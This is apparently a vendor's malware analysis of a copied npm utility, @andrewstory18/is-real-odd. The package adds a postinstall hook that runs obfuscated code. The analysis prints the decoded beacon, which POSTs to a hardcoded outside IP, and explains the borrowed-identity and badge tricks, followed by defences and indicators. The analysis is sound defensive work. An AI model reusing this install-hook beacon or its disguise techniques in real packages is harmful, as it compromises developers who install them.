@andrewstory18/is-real-odd (v2.0.3) was published to npm by the account andrewstory18 on 2026-06-30. It copies is-odd, a small integer-parity utility by Jon Schlinkert, and it copies it faithfully. The runtime file index.js is the original source, unmodified, so a project that installs this package and calls it gets correct answers. Nothing about the library’s behavior is wrong.
The manifest is where the package stops being a copy. Set against the original, package.json carries the same description, the same keyword list, the same author, the same contributor names, the same repository field pointing at jonschlinkert/is-odd, and the same MIT license. Two things are added. The files array gains a second entry, index.min.js, and the scripts block gains a line:
"scripts": {
"test": "mocha",
"postinstall": "node index.min.js"
}
The original has no postinstall hook. That single line is the entire attack, and index.min.js is the entire payload. Everything else in the package exists to make both look unremarkable.
The artifact
The package is scoped to the publishing account as @andrewstory18/is-real-odd, which is the only publication under that account in our corpus. The version is 2.0.3, a plausible-looking number for a utility of this kind rather than the 1.0.0 a new project would carry.
The README is the original is-odd readme with the name changed. Its badges were not changed. They still resolve to img.shields.io/npm/v/is-odd.svg and link to npmjs.com/package/is-odd, so the version, monthly download, and total download counts rendered at the top of the page are the real package’s numbers. Someone skimming the listing sees the popularity of a widely used utility attached to this one. The install instruction in the body reads npm install --save is-real-odd, which is a third name again, matching neither the scoped package that is actually published nor the original it borrows its numbers from.
The declared dependency is is-number, which is what the real is-odd depends on. Retaining it keeps the copied index.js working, and it keeps the dependency list looking exactly like the original’s.
What it does
index.min.js is the output of a code-hiding tool rather than a minifier: identifiers are renamed to hex forms such as _0x3590e6, every string is moved into a single array, and that array is rotated at load time by a loop that shifts it until an arithmetic checksum matches a constant. Reading the file gives you no strings to read.
The rotation is recoverable without running anything. The shift count is fixed by the checksum, so applying the same arithmetic by hand settles the array after six shifts and resolves each index to its string. Decoded, the whole file is this:
var http = require('http');
var body = JSON.stringify({ message: 'Hello World' });
var request = http.request({
hostname: '144[.]172[.]91[.]84',
port: 3000,
path: '/hello',
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
}, function (response) { /* accumulates and logs the reply */ });
request.write(body);
request.end();
At npm install, before any code of yours runs, the package opens an HTTP connection to a hardcoded address on port 3000 and posts a fixed message. It reads no environment variables, touches no files, spawns no process, and evaluates nothing that comes back.
Beacon analysis
The payload posts a constant string and takes nothing, but the Hello World message needs no protection, and running it through a code-hiding tool only stops a person who opens the file from seeing what it does. The hiding effort suggests the payload is expected to change.
The delivery is a postinstall hook, which executes automatically when the package is installed and before any human reviews anything. No genuine diagnostic needs one.
The manifest carries a different developer’s name and points to a different project’s repository, while the readme badges display download counts from a third package. All of it is aimed at a reader deciding whether to trust the package.
The request confirms that a machine ran the hook, and the connection carries the source address and the timing with it. Surveying who installs is likely the step before a payload delivery.
What a defender can do
npm install --ignore-scripts prevents a postinstall hook from running at all, and it can be made the default with npm config set ignore-scripts true, at the cost of breaking packages that genuinely need a build step. Applying it in continuous integration, where a fresh install runs on every job and nobody is watching the output, is the highest-value place to start.
Beyond that, treat a lifecycle hook as a review trigger rather than a detail. Watch for dependencies whose manifests gain a postinstall between versions, and look at the file that hook runs. Files that have been through a code-hiding tool deserve a decision rather than a skim. Rotated string arrays can be resolved statically, without executing anything, as it was here.
For this package specifically, the presence of index.min.js in a library whose entire function is one exported comparison is the anomaly that does not need any tooling to spot.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | @andrewstory18/is-real-odd (v2.0.3, published 2026-06-30) | Copy of is-odd with an added install hook |
| npm account | andrewstory18 | Sole publisher of the package |
| Endpoint | 144[.]172[.]91[.]84 port 3000, path /hello | Receives the install-time POST |
| Source | package/index.min.js | Machine-obfuscated, hex identifiers and a rotated string array |
| Manifest | postinstall: node index.min.js | Absent from the original is-odd, added here |
| Manifest | files array lists index.min.js | Second addition, ships the payload |
| Borrowed identity | author, contributors, repository jonschlinkert/is-odd | Copied verbatim from the original manifest |
| Readme lure | shields.io badges resolving to is-odd | Displays the original package’s download counts |
| Name mismatch | Readme installs is-real-odd, published as @andrewstory18/is-real-odd | Three names across one listing |
Where Aephix fits
Recognizing a copied utility with an added hook is the step that stops the survey from reaching your machine. Aephix Vantage gives you a free cross-ecosystem check before you install, and Weekly Sleuth reports confirmed packages grouped by the operation behind them, so the next copied utility from the same publisher reaches subscribers already linked to this one.